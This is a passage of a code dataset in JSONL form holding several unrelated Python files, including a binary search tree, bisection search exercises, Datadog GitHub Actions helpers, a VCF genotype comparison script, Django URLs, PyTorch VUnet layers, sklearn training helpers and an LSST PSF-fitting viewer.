print(\"Loadbalancer {} not found\".format(self.lb_id))\n exit(1)\n\n service = self.replace_dict_value(service, 'provisioning_status', plugin_const.PENDING_CREATE)\n\n self.driver._common_service_handler(service)\n\n print(\"The device state of loadbalancer {} has been synced with Neutron\".format(self.lb_id))\n\n\n","sub_path":"f5_openstack_agent/lbaasv2/drivers/bigip/cli/actions/sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"138933147","text":"import random\nclass Node(object):\n def __init__(self,data):\n self.data = data\n self.left = None\n self.right = None\n\nclass BST(object):\n def __init__(self):\n self.root = None\n \n def insert(self,data):\n if self.root is None:\n self.root = Node(data)\n else:\n self._insert(self.root,data) \n def _insert(self,cur,data): \n if data < cur.data:\n if cur.left is None:\n cur.left = Node(data)\n else:\n self._insert(cur.left,data)\n else:\n if cur.right is None:\n cur.right = Node(data)\n else:\n self._insert(cur.right,data)\n \n def inorder(self):\n s = []\n cur = self.root\n while 1:\n if cur:\n s.append(cur)\n cur = cur.left\n elif s:\n cur = s.pop()\n print(cur.data,end = \" \")\n cur = cur.right\n else:\n break\n \n def preorder(self):\n s = [] \n s.append(self.root)\n while s:\n node = s.pop()\n print(node.data,end = \" \")\n \n if node.left:\n s.append(node.left)\n if node.right:\n s.append(node.right)\n \n def postorder(self):\n s1 = []\n s2 = []\n s1.append(self.root)\n while s1:\n node = s1.pop()\n s2.append(node)\n\n if node.left:\n s1.append(node.left)\n if node.right:\n s1.append(node.right)\n while s2:\n node = s2.pop()\n print(node.data,end = \" \")\n \n def lvlorder(self):\n q = []\n q.append(self.root)\n while q:\n print(q[0].data,end = \" \")\n node = q.pop(0) \n \n if node.left:\n q.append(node.left)\n if node.right:\n q.append(node.right)\n \nb = BST()\nfor i in range(0,10):\n r = random.randint(1,50)\n b.insert(r)\nprint(\"INORDER TRAVERSAL\")\nb.inorder()\nprint(\"\\nPREORDER TRAVERSAL\")\nb.preorder() \nprint(\"\\nPOSTORDER TRAVERSAL\")\nb.postorder()\nprint(\"\\nLEVELORDER TRAVERSAL\")\nb.lvlorder()\n","sub_path":"Binary_Trees-All_Traversals.py","file_name":"Binary_Trees-All_Traversals.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"485861834","text":"# -*- coding: utf-8 -*-\n\ndef f1(x):\n return x*x-2\nlambda x:x*x-2\n\n\ndef racine_dichot(f,a,b,eps):\n if f(a)==0:\n return a\n if f(b)==0:\n return b\n if f(a)*f(b)>0:\n return 'methode non applicable'\n x = a\n y = b\n while y-x>eps:#on suppose a0:\n x = z\n else:\n y = z\n return x\n\ndef recherche_dichot(l,a):\n n = len(l)\n if al[n-1]:\n return False\n if a == l[0] or a == l[n-1]:\n return True\n i1 = 0\n i2 = n-1\n while i2>i1+1:\n i3 = (i1+i2)//2\n if a ==l[i3]:\n return True\n if a>l[i3]:\n i1 = i3\n else:\n i2 = i3\n return a == l[i1] or a == l[i2]\n\ndef insere_dichot(l,a):\n n = len(l)\n if a<=l[0]:\n l = [a]+l\n return l\n if a>=l[n-1]:\n l.append(a)\n return l\n i1 = 0\n i2 = n-1\n while i2>i1+1:\n i3 = (i1+i2)//2\n if a == l[i3]:\n l = l[:i3]+[a]+l[i3:]\n return l\n if a>l[i3]:\n i1 = i3\n else:\n i2 = i3\n if a == l[i1]:\n l = l[:i1]+[a]+l[i1:]\n return l\n l = l[:i2]+[a]+l[i2:]\n return l\n \n \n \n \n \n","sub_path":"TD/prof/td04a.py","file_name":"td04a.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"365655063","text":"#1 two-sum/\nclass Solution(object):\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n mapping = {}\n for i in range(len(nums)):\n idx = mapping.get(nums[i])\n if idx == None:\n mapping[nums[i]] = [i]\n\n else :\n mapping[nums[i]].append(i)\n\n for i in range(len(nums)):\n idx_i_list = mapping[nums[i]]\n if nums[i] == target - nums[i]:\n if len(idx_i_list) >= 2 :\n return [idx_i_list[0], idx_i_list[1]]\n else:\n idx_j_list = mapping.get(target - nums[i])\n if idx_j_list != None :\n return [idx_i_list[0], idx_j_list[0]]\n return []\n","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"356983424","text":"import os\nimport sys\nimport tempfile\nimport zipfile\nfrom datetime import datetime\nfrom time import sleep\n\nfrom invoke.exceptions import Exit\n\nfrom ..utils import DEFAULT_BRANCH\nfrom .common.color import color_message\nfrom .common.github_api import GithubAPI\n\n\ndef trigger_macos_workflow(\n workflow_name=\"macos.yaml\",\n github_action_ref=\"master\",\n datadog_agent_ref=DEFAULT_BRANCH,\n release_version=None,\n major_version=None,\n python_runtimes=\"3\",\n gitlab_pipeline_id=None,\n bucket_branch=None,\n version_cache_file_content=None,\n):\n \"\"\"\n Trigger a workflow to build a MacOS Agent.\n \"\"\"\n inputs = {}\n\n if datadog_agent_ref is not None:\n inputs[\"datadog_agent_ref\"] = datadog_agent_ref\n\n if release_version is not None:\n inputs[\"release_version\"] = release_version\n\n if major_version is not None:\n inputs[\"agent_major_version\"] = major_version\n\n if python_runtimes is not None:\n inputs[\"python_runtimes\"] = python_runtimes\n\n if gitlab_pipeline_id is not None:\n inputs[\"gitlab_pipeline_id\"] = gitlab_pipeline_id\n\n if bucket_branch is not None:\n inputs[\"bucket_branch\"] = bucket_branch\n\n if version_cache_file_content:\n inputs[\"version_cache\"] = version_cache_file_content\n\n print(\n \"Creating workflow on datadog-agent-macos-build on commit {} with args:\\n{}\".format( # noqa: FS002\n github_action_ref, \"\\n\".join([f\" - {k}: {inputs[k]}\" for k in inputs])\n )\n )\n # Hack: get current time to only fetch workflows that started after now.\n now = datetime.utcnow()\n\n # The workflow trigger endpoint doesn't return anything. You need to fetch the workflow run id\n # by yourself.\n gh = GithubAPI('DataDog/datadog-agent-macos-build')\n gh.trigger_workflow(workflow_name, github_action_ref, inputs)\n\n # Thus the following hack: query the latest run for ref, wait until we get a non-completed run\n # that started after we triggered the workflow.\n # In practice, this should almost never be a problem, even if the Agent 6 and 7 jobs run at the\n # same time, given that these two jobs will target different github_action_ref on RCs / releases.\n MAX_RETRIES = 10 # Retry up to 10 times\n for i in range(MAX_RETRIES):\n print(f\"Fetching triggered workflow (try {i + 1}/{MAX_RETRIES})\")\n run = gh.latest_workflow_run_for_ref(workflow_name, github_action_ref)\n if run is not None and run.created_at is not None and run.created_at >= now:\n return run\n\n sleep(5)\n\n # Something went wrong :(\n print(\"Couldn't fetch workflow run that was triggered.\")\n raise Exit(code=1)\n\n\ndef follow_workflow_run(run):\n \"\"\"\n Follow the workflow run until completion and return its conclusion.\n \"\"\"\n # Imported from here since only x86_64 images ship this module\n from github import GithubException\n\n print(color_message(\"Workflow run link: \" + color_message(run.html_url, \"green\"), \"blue\"))\n\n minutes = 0\n failures = 0\n MAX_FAILURES = 5\n while True:\n # Do not fail outright for temporary failures\n try:\n github = GithubAPI('DataDog/datadog-agent-macos-build')\n run = github.workflow_run(run.id)\n except GithubException:\n failures += 1\n print(f\"Workflow run not found, retrying in 15 seconds (failure {failures}/{MAX_FAILURES})\")\n if failures == MAX_FAILURES:\n raise Exit(code=1)\n sleep(15)\n continue\n\n status = run.status\n conclusion = run.conclusion\n\n if status == \"completed\":\n return conclusion\n else:\n print(f\"Workflow still running... ({minutes}m)\")\n # For some unknown reason, in Gitlab these lines do not get flushed, leading to not being\n # able to see where's the job at in the logs. The following line forces the flush.\n sys.stdout.flush()\n\n minutes += 1\n sleep(60)\n\n\ndef print_workflow_conclusion(conclusion):\n \"\"\"\n Print the workflow conclusion\n \"\"\"\n if conclusion == \"success\":\n print(color_message(\"Workflow run succeeded\", \"green\"))\n else:\n print(color_message(f\"Workflow run ended with state: {conclusion}\", \"red\"))\n\n\ndef download_artifacts(run, destination=\".\"):\n \"\"\"\n Download all artifacts for a given job in the specified location.\n \"\"\"\n print(color_message(f\"Downloading artifacts for run {run.id} to {destination}\", \"blue\"))\n run_artifacts = run.get_artifacts()\n if run_artifacts is None:\n print(\"Workflow run not found.\")\n raise Exit(code=1)\n if run_artifacts.totalCount == 0:\n raise ConnectionError\n\n # Create temp directory to store the artifact zips\n with tempfile.TemporaryDirectory() as tmpdir:\n workflow = GithubAPI('DataDog/datadog-agent-macos-build')\n for artifact in run_artifacts:\n # Download artifact\n print(\"Downloading artifact: \", artifact)\n zip_path = workflow.download_artifact(artifact, tmpdir)\n\n # Unzip it in the target destination\n with zipfile.ZipFile(zip_path, \"r\") as zip_ref:\n zip_ref.extractall(destination)\n\n\ndef download_artifacts_with_retry(run, destination=\".\", retry_count=3, retry_interval=10):\n import requests\n\n retry = retry_count\n\n while retry > 0:\n try:\n download_artifacts(run, destination)\n print(color_message(f\"Successfully downloaded artifacts for run {run,id} to {destination}\", \"blue\"))\n return\n except (requests.exceptions.RequestException, ConnectionError):\n retry -= 1\n print(f'Connectivity issue while downloading the artifact, retrying... {retry} attempts left')\n sleep(retry_interval)\n except Exception as e:\n print(\"Exception that is not a connectivity issue: \", type(e).__name__, \" - \", e)\n raise e\n print(f'Download failed {retry_count} times, stop retry and exit')\n raise Exit(code=os.EX_TEMPFAIL)\n","sub_path":"tasks/libs/github_actions_tools.py","file_name":"github_actions_tools.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"290171784","text":"#!/usr/bin/python\n\n\"\"\"\n f = compare file\n f2 = ped file\n f3 = vcf file\n f4 = output file\n\n data: is_DR=1\n other: is_DR=0\n\"\"\"\n\nimport os, sys, getopt\n\ndef main(argv):\n usage = \"usage: python Compare.py -v [vcf file] -p [ped file] -c [compare file]\"\n\n try:\n opts, args = getopt.getopt(argv,\"hv:p:c:\",[\"vcf=\",\"ped=\",\"cfile=\"])\n except getopt.GetoptError:\n print (usage)\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == '-h':\n print (usage)\n sys.exit()\n elif opt in (\"-v\", \"--vcf\"):\n vcffile = arg\n elif opt in (\"-p\", \"--ped\"):\n pedfile = arg\n elif opt in (\"-c\", \"--cfile\"):\n comparefile = arg\n\n if len(opts) != 3:\n print (\"try 'python Compare.py -h' for help\")\n sys.exit(2)\n\n\n # get first sample whom has been filterd in stage 1\n f = open(comparefile, 'r')\n FL = f.readline().strip().split('\\t') # First Line [list]\n FS = FL[5] # First Sample\n FATHER = FL[6] # Father\n MOTHER = FL[7] # Mother\n f.close()\n\n # get all other samples, no matter it's affected or unaffected\n f2 = open(pedfile, 'r')\n\n OS = {} # Other Samples [dict]\n for line in f2:\n if line.startswith('#'):\n continue\n\n tmp = line.strip().split('\\t')\n # it could be aunt or uncle\n if tmp[1] != FS and tmp[1] != FATHER and tmp[1] != MOTHER:\n OS[tmp[1]] = tmp[5]\n\n if not OS:\n# print (\"[Notice] Only one affected sample was founded.\")\n f = open(comparefile, 'r')\n for line in f:\n print (line.strip())\n f.close()\n sys.exit()\n f2.close()\n\n\n # put here to avoid wasting time if not other affected sample found\n f = open(comparefile, 'r')\n tmp = []\n for line in f:\n if line.startswith('#'):\n pass\n else:\n tmp.append(line)\n f.close()\n\n clist = [x.strip().split('\\t') for x in tmp]\n\n\n # seperate other samples into two categories\n affected = []\n unaffected = []\n for k, v in OS.items():\n if v == '2':\n affected.append(k)\n else:\n unaffected.append(k)\n\n # parse is_model=1 data, else store to other\n data = {}\n other = {}\n for i in range(len(clist)):\n if clist[i][4] == '1':\n data[clist[i][0]+'-'+clist[i][1]] = clist[i][5]\n else:\n other[clist[i][0]+'-'+clist[i][1]] = clist[i][5]\n\n # get new samples indexes\n f3 = open(vcffile, 'r')\n\n FL = '\\t'.join(FL)\n affected_indexes = []\n unaffected_indexes = []\n for line in f3:\n if '#CHROM' in line:\n tmp = line.strip().split('\\t')\n\n if affected:\n for i in affected:\n FL = FL + '\\t' + i\n affected_indexes.append(tmp.index(i))\n\n if unaffected:\n for j in unaffected:\n FL = FL + '\\t' + j\n unaffected_indexes.append(tmp.index(j))\n\n FS_index = tmp.index(FS)\n f3.close()\n\n\n # comparison\n def CompareGenotype(new, first):\n if len(new) != 3 and len(first) != 3:\n if new == first:\n return True\n else:\n return False\n\n elif len(new) != 3 and len(first) == 3:\n if new in first:\n return True\n else:\n return False\n\n elif len(new) == 3 and len(first) != 3:\n if first[0] == new and first[2] == new:\n return True\n else:\n return False\n\n else:\n if new == first:\n return True\n else:\n return False\n\n for a in affected_indexes:\n f3 = open(vcffile, 'r')\n for line in f3:\n if line.startswith('#'):\n continue\n\n tmp = line.strip().split('\\t')\n chrom = tmp[0]\n pos = tmp[1]\n genotype = tmp[a].split(':')[0].replace('.', '0')\n FS_genotype = tmp[FS_index].split(':')[0].replace('.', '0') # First sample's genotype\n\n if chrom+'-'+pos in data:\n # change data value to new sample's genotype\n data[chrom+'-'+pos] = genotype\n\n # must be the same as First Sample\n if not(CompareGenotype(genotype, FS_genotype)):\n # change is_model=1 to is_model=0\n del data[chrom+'-'+pos]\n other[chrom+'-'+pos] = genotype\n\n # store is_model=0 data's genotype\n if chrom+'-'+pos in other:\n other[chrom+'-'+pos] = genotype\n\n f3.close()\n # put here to make sure every new samples's genotype will be added\n for i in range(len(clist)):\n if clist[i][0] + '-' + clist[i][1] in data:\n clist[i].append(data[clist[i][0]+'-'+clist[i][1]])\n elif clist[i][0] +'-' + clist[i][1] in other:\n clist[i][4] = '0'\n clist[i].append(other[clist[i][0]+'-'+clist[i][1]])\n\n for u in unaffected_indexes:\n f3 = open(vcffile, 'r')\n for line in f3:\n if line.startswith('#'):\n continue\n\n tmp = line.strip().split('\\t')\n chrom = tmp[0]\n pos = tmp[1]\n genotype = tmp[u].split(':')[0].replace('.', '0')\n FS_genotype = tmp[FS_index].split(':')[0].replace('.', '0') # First sample's genotype\n\n if chrom+'-'+pos in data:\n # change data value to new sample's genotype\n data[chrom+'-'+pos] = genotype\n\n # can't be the same as First Sample\n if CompareGenotype(genotype, FS_genotype):\n # change is_model=1 to is_model=0\n del data[chrom+'-'+pos]\n other[chrom+'-'+pos] = genotype\n\n # store is_model=0 data's genotype\n if chrom+'-'+pos in other:\n other[chrom+'-'+pos] = genotype\n\n f3.close()\n # put here to make sure every new samples's genotype will be added\n for i in range(len(clist)):\n if clist[i][0] + '-' + clist[i][1] in data:\n clist[i].append(data[clist[i][0]+'-'+clist[i][1]])\n elif clist[i][0] + '-' + clist[i][1] in other:\n clist[i][4] = '0'\n clist[i].append(other[clist[i][0]+'-'+clist[i][1]])\n\n # output compared data\n print (FL)\n for i in range(len(clist)):\n print ('\\t'.join(clist[i]))\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"workflows/denovo-recessive/Compare.py","file_name":"Compare.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"580798111","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf.urls import include, url, handler400, handler403, handler404, handler500\nfrom .views import *\nfrom userprofile import views\n# load static files during production\nfrom django.views import static\n\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"\", index),\n path(\"blog\", include((\"post.urls\", \"post\"), namespace=\"post\")),\n path(\"album\", include((\"album.urls\", \"album\"), namespace=\"album\")),\n path(\"about\", include((\"about.urls\", \"about\"), namespace=\"about\")),\n path(\"comment\", include((\"comment.urls\", \"comment\"), namespace=\"comment\")),\n # django-allauth lib\n url(r\"^accounts/\", include(\"allauth.urls\")),\n # userprofile app to consummate django-allauth\n url(r\"^accounts\", include((\"userprofile.urls\", \"userprofile\"), namespace=\"userprofile\")),\n # django-markdownx lib\n url(r\"^markdownx\", include(\"markdownx.urls\")),\n # load static files during production\n url(r'^static/(?P.*)$', static.serve, {'document_root': settings.STATIC_ROOT}, name='static'),\n url(r'^static/(?P.*)$', static.serve, {'document_root': settings.MEDIA_ROOT}, name='media'),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nhandler400 = bad_request\nhandler403 = permission_denied\nhandler404 = page_not_found\nhandler500 = server_error\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"21179407","text":"import torch\nfrom torch import nn\nfrom torch.nn.utils import weight_norm\nfrom torch.nn.init import (\n kaiming_uniform_,\n _calculate_fan_in_and_fan_out,\n uniform_,\n normal_,\n)\nimport math\nfrom torch.nn import functional as F\nimport enum\n\n\nclass CONV_LAYER_TYPES(enum.Enum):\n l1_norm = \"l1\"\n l2_norm = \"l2\"\n layer_norm = \"layer_norm\"\n\n\nclass SpaceToDepth(nn.Module):\n def __init__(self, block_size):\n super().__init__()\n self.bs = block_size\n\n def forward(self, x):\n n, c, h, w = x.size()\n x = x.view(n, c, h // self.bs, self.bs, w // self.bs, self.bs)\n x = x.permute(0, 3, 5, 1, 2, 4).contiguous()\n x = x.view(n, c * (self.bs ** 2), h // self.bs, w // self.bs)\n return x\n\n\nclass DepthToSpace(nn.Module):\n def __init__(self, block_size):\n super().__init__()\n self.bs = block_size\n\n def forward(self, x):\n n, c, h, w = x.size()\n x = x.view(n, self.bs, self.bs, c // (self.bs ** 2), h, w)\n x = x.permute(0, 3, 4, 1, 5, 2).contiguous()\n x = x.view(n, c // (self.bs ** 2), h * self.bs, w * self.bs)\n return x\n\n\nclass IDAct(nn.Module):\n def forward(self, input):\n return input\n\n\nclass L2NormConv2d(nn.Module):\n def __init__(\n self,\n in_channels,\n out_channels,\n kernel_size,\n stride=1,\n padding=0,\n bias=True,\n init=None,\n ):\n super().__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n self.weight = nn.Parameter(\n torch.Tensor(\n self.out_channels, self.in_channels, self.kernel_size, self.kernel_size,\n )\n )\n if bias:\n self.bias = nn.Parameter(torch.Tensor(self.out_channels))\n else:\n self.bias = None\n\n self.beta = nn.Parameter(\n torch.zeros([1, out_channels, 1, 1], dtype=torch.float32)\n )\n self.gamma = nn.Parameter(\n torch.ones([1, out_channels, 1, 1], dtype=torch.float32)\n )\n # init\n if callable(init):\n self.init_fn = init\n else:\n self.init_fn = lambda: False\n normal_(self.weight, mean=0.0, std=0.05)\n if self.bias is not None:\n fan_in, _ = _calculate_fan_in_and_fan_out(self.weight)\n bound = 1 / math.sqrt(fan_in)\n uniform_(self.bias, -bound, bound)\n\n def forward(self, x, it=None):\n W_norm = F.normalize(self.weight, dim=[1, 2, 3], p=2)\n x = F.conv2d(x, W_norm, self.bias, stride=self.stride, padding=self.padding)\n # training attribute is inherited from nn.Module\n if self.init_fn() and self.training:\n mean = torch.mean(x, dim=[0, 2, 3], keepdim=True)\n var = torch.var(x, dim=[0, 2, 3], keepdim=True)\n self.gamma.data = 1.0 / torch.sqrt(var + 1e-10)\n self.beta.data = -mean * self.gamma\n\n return self.gamma * x + self.beta\n\n\nclass LayerNormConv2d(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0):\n super().__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding)\n self.norm = nn.InstanceNorm2d(out_channels)\n\n def forward(self, x):\n\n x = self.conv(x)\n return self.norm(x)\n\n\nclass NormConv2d(nn.Module):\n \"\"\"\n Convolutional layer with l2 weight normalization and learned scaling parameters\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0):\n super().__init__()\n self.beta = nn.Parameter(\n torch.zeros([1, out_channels, 1, 1], dtype=torch.float32)\n )\n self.gamma = nn.Parameter(\n torch.ones([1, out_channels, 1, 1], dtype=torch.float32)\n )\n self.conv = weight_norm(\n nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding),\n name=\"weight\",\n )\n\n def forward(self, x):\n # weight normalization\n # self.conv.weight = normalize(self.conv.weight., dim=[0, 2, 3])\n out = self.conv(x)\n out = self.gamma * out + self.beta\n return out\n\n\nclass Downsample(nn.Module):\n def __init__(self, channels, out_channels=None, conv_layer=NormConv2d):\n super().__init__()\n if out_channels == None:\n self.down = conv_layer(\n channels, channels, kernel_size=3, stride=2, padding=1\n )\n else:\n self.down = conv_layer(\n channels, out_channels, kernel_size=3, stride=2, padding=1\n )\n\n def forward(self, x):\n return self.down(x)\n\n\nclass Upsample(nn.Module):\n def __init__(self, in_channels, out_channels, subpixel=True, conv_layer=NormConv2d):\n super().__init__()\n if subpixel:\n self.up = conv_layer(in_channels, 4 * out_channels, 3, padding=1)\n self.op2 = DepthToSpace(block_size=2)\n else:\n # channels have to be bisected because of formely concatenated skips connections\n self.up = conv_layer(in_channels, out_channels, 3, padding=1)\n self.op2 = nn.Upsample(scale_factor=2, mode=\"bilinear\")\n # self.up = nn.Upsample(scale_factor=2, mode=\"bilinear\")\n # self.op2 = conv_layer(in_channels, out_channels, 3, padding=1)\n\n def forward(self, x):\n out = self.up(x)\n out = self.op2(out)\n return out\n\n\nclass VUnetResnetBlock(nn.Module):\n \"\"\"\n Resnet Block as utilized in the vunet publication\n \"\"\"\n\n def __init__(\n self,\n out_channels,\n use_skip=False,\n kernel_size=3,\n activate=True,\n conv_layer=NormConv2d,\n conv_layer_type=\"layer_norm\",\n gated=False,\n dropout_p=0.0,\n ):\n \"\"\"\n\n :param n_channels: The number of output filters\n :param process_skip: the factor between output and input nr of filters\n :param kernel_size:\n :param activate:\n \"\"\"\n super().__init__()\n self.dout = nn.Dropout(p=dropout_p)\n self.use_skip = use_skip\n self.gated = gated\n if self.use_skip:\n self.conv2d = conv_layer(\n in_channels=2 * out_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n padding=kernel_size // 2,\n )\n self.pre = conv_layer(\n in_channels=out_channels, out_channels=out_channels, kernel_size=1,\n )\n else:\n self.conv2d = conv_layer(\n in_channels=out_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n padding=kernel_size // 2,\n )\n\n if self.gated:\n self.conv2d2 = conv_layer(\n in_channels=out_channels,\n out_channels=out_channels,\n kernel_size=kernel_size,\n padding=kernel_size // 2,\n )\n self.dout2 = nn.Dropout(p=dropout_p)\n self.sigm = nn.Sigmoid()\n if activate:\n self.act_fn = (\n nn.LeakyReLU() if conv_layer_type == \"layer_norm\" else nn.ELU()\n )\n else:\n self.act_fn = IDAct()\n\n def forward(self, x, a=None):\n x_prc = x\n\n if self.use_skip:\n assert a is not None\n a = self.pre(a)\n x_prc = torch.cat([x_prc, a], dim=1)\n\n x_prc = self.act_fn(x_prc)\n x_prc = self.dout(x_prc)\n x_prc = self.conv2d(x_prc)\n\n if self.gated:\n x_prc = self.act_fn(x_prc)\n x_prc = self.dout(x_prc)\n x_prc = self.conv2d2(x_prc)\n a, b = torch.split(x_prc, 2, 1)\n x_prc = a * self.sigm(b)\n\n return x + x_prc\n\n\nclass VunetRNB(nn.Module):\n def __init__(\n self,\n channels,\n a_channels=None,\n residual=False,\n kernel_size=3,\n activate=True,\n conv_layer=NormConv2d,\n conv_layer_type=\"layer_norm\",\n act_fn=None,\n dropout_p=0.0,\n ):\n super().__init__()\n self.residual = residual\n self.dout = nn.Dropout(p=dropout_p)\n\n if self.residual:\n assert a_channels is not None\n self.nin = conv_layer(a_channels, channels, kernel_size=1)\n\n if activate:\n if act_fn is None:\n self.act_fn = (\n nn.LeakyReLU() if conv_layer_type == \"layer_norm\" else nn.ELU()\n )\n else:\n self.act_fn = act_fn\n else:\n self.act_fn = IDAct()\n\n in_c = 2 * channels if self.residual else channels\n self.conv = conv_layer(\n in_channels=in_c,\n out_channels=channels,\n kernel_size=kernel_size,\n padding=kernel_size // 2,\n )\n\n def forward(self, x, a=None):\n residual = x\n if a is not None:\n assert self.residual\n a = self.act_fn(a)\n a = self.nin(a)\n residual = torch.cat([residual, a], dim=1)\n\n residual = self.act_fn(residual)\n residual = self.dout(residual)\n residual = self.conv(residual)\n\n return x + residual\n","sub_path":"src/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":9392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"25225101","text":"def training(clf, search_parameters, X_train, y_train):\n \"\"\"\n this function gets a classifer,the search_parameters and training data and\n deploys GridSearchCV to find the best paramaters for the classifier that it is\n given. It then returns this optimized classifier. GridSearchCV optimizes the\n classifier so that it achives the highest recall.\n\n \"\"\"\n from sklearn.model_selection import GridSearchCV\n grid = GridSearchCV(clf, search_parameters,scoring='recall', refit=True)\n grid.fit(X_train, y_train)\n return grid\n\n\nfrom metrics import *\ndef multi_training(classifiers_search_list,X_train,X_test, y_train,y_test):\n \"\"\"\n this function uses the training function(above) to be able to train and optimize a list\n of classifiers and sort out the best one. It then returns the best classifier, its recall\n and predictions.\n \"\"\"\n metrics_list = []\n for algo in classifiers_search_list:\n clf = training(algo[0],algo[1],X_train, y_train)\n pred = clf.predict(X_test)\n rc = recall(pred, y_test)\n temp_metric = [clf, rc, pred]\n metrics_list.append(temp_metric)\n\n best_clf = sorted(metrics_list, key = lambda x: float(x[1]))[-1] #This sorts the list with the smallest value att index 0. The best classifier is the one at index -1\n return best_clf[0], best_clf[1], best_clf[2]#, metrics_list #remove the the first comment if you want to return the whole list of classifiers and the metric.\n\ndef save_to_disk(algo, filename):\n \"\"\"\n Dumps the algorithm to disk with the name that is specified in filename.\n Filename should end with .pkl\n \"\"\"\n from sklearn.externals import joblib\n joblib.dump(algo, filename, compress = 9)\n print('Algorithm dumped to ' + str(filename))\n\ndef load_from_disk(filename):\n \"\"\"\n Loads an algorithm from disk. Filename should end with .pkl\n \"\"\"\n from sklearn.externals import joblib\n clf = joblib.load(filename)\n return clf\n","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"370989269","text":"import lsst.meas.extensions.multiShapelet as ms\nimport lsst.afw.image\nimport numpy\nfrom matplotlib import pyplot\n\nclass ViewerBase(object):\n\n class Iteration(object):\n\n def __init__(self, opt, viewer):\n obj = opt.getObjective().cast(ms.MultiGaussianObjective)\n self.state = opt.getState()\n if self.state & ms.HybridOptimizer.STEP_ACCEPTED:\n self.parameters = opt.getParameters().copy()\n self.func = opt.getFunction().copy()\n self.chisq = opt.getChiSq() / (self.func.size - self.parameters.size)\n else:\n self.parameters = opt.getTrialParameters().copy()\n self.func = opt.getTrialFunction().copy()\n self.chisq = opt.getTrialChiSq() / (self.func.size - self.parameters.size)\n self.fNorm = opt.getFunctionInfNorm()\n self.gNorm = opt.getGradientInfNorm()\n self.amplitude = obj.getAmplitude()\n self.method = opt.getMethod()\n self.model = viewer.Model(viewer.ctrl, self.amplitude, self.parameters)\n\n def __str__(self):\n return \"state=0x%1.2x, method=%s, chisq=%f, fNorm=%g, gNorm=%g, amplitude=%s, parameters=%s\" % (\n self.state, \"LM\" if self.method==ms.HybridOptimizer.LM else \"BFGS\",\n self.chisq, self.fNorm, self.gNorm, self.amplitude, self.parameters\n )\n\n __repr__ = __str__\n\n @staticmethod\n def _plotImage(image, title=None, ellipses=(), vmin=None, vmax=None):\n bbox = image.getBBox()\n array = image.getArray()\n if vmin is None or vmax is None:\n valid = array[numpy.isfinite(array)]\n if vmin is None:\n vmin = valid.min() - 0.1 * (valid.max() - valid.min())\n if vmax is None:\n vmax = valid.max() + 0.1 * (valid.max() - valid.min())\n pyplot.imshow(array, interpolation='nearest', origin='lower', vmin=vmin, vmax=vmax,\n extent=(bbox.getMinX()-0.5, bbox.getMaxX()+0.5, bbox.getMinY()-0.5, bbox.getMaxY()+0.5)\n )\n if title is not None:\n pyplot.title(title)\n for ellipse in ellipses:\n ellipse.plot(fill=False, rescale=False)\n pyplot.plot([ellipse.getCenter().getX()], [ellipse.getCenter().getY()], 'kx',\n scalex=False, scaley=False)\n return vmin, vmax\n\nclass FitPsfViewer(ViewerBase):\n\n Model = ms.FitPsfModel\n Control = ms.FitPsfControl\n Algorithm = ms.FitPsfAlgorithm\n\n def __init__(self, source, psf, ctrl=None):\n if ctrl is None:\n ctrl = self.Control()\n self.ctrl = ctrl\n self.saved = self.Model(self.ctrl, source)\n self.center = source.getCentroid()\n self.image = psf.computeImage(self.center)\n self.image.getArray()[:,:] /= self.image.getArray().sum()\n self.inputs = ms.ModelInputHandler(self.image, self.center, self.image.getBBox())\n opt = self.Algorithm.makeOptimizer(self.ctrl, self.inputs)\n maxIter = opt.getControl().maxIter\n self.iterations = [self.Iteration(opt, self)]\n for self.iterCount in range(maxIter):\n opt.step()\n self.iterations.append(self.Iteration(opt, self))\n if opt.getState() & ms.HybridOptimizer.FINISHED:\n break\n self.model = self.Model(self.iterations[-1].model)\n self.integral = self.model.asMultiShapelet().evaluate().integrate()\n self.Algorithm.fitShapeletTerms(self.ctrl, self.inputs, self.model)\n\n\n def plot(self, model=None):\n if model is None:\n model = self.model\n elif model == \"saved\":\n model = self.saved\n elif not isinstance(model, self.Model):\n model = self.iterations[model].model\n data = self.image\n fit = 